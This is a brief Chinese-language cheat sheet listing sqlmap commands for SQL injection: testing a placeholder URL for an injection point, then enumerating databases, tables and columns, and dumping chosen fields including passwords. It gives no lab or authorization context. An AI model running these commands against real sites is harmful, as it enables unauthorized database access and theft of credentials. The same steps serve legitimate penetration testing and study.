注入步驟： 檢查注入點 sqlmap -u http://url 列數據庫信息 sqlmap -u http://url --dbs 指定庫名列出所有表 sqlmap -u http://url -D dbname --tables 指定庫名表名列出所有字段 sqlmap -u http://url -D dbname -T tablename --columns 指定庫名表名字段dump出指定字段 sqlmap -u http://url -D dbname -T tablename -C ac,id,password --dump